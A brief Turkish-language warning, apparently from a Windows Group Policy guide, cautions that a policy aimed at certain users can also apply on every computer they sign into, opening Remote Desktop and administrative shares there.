UYARI: Grup ilkelerinin kullanılması durumunda, ilkenin uygulanacağı nesneler (kulalnıcı hesabı, bilgisayar hesabı vs) iyi belirlenmelidir. Aksi halde istenilmeyen durumlar oluşabilir. Örneğin, bir kişiye veya gruba uygulanmak istenen üstteki politika aynı zamanda o kullanıcıların oturum açtığı her bilgisayarda etkin olabilir. Bu durumda bu kullanıcıların oturum açtığı her bilgisayarda RDC ve yönetimsel paylaşımlar açılabilir.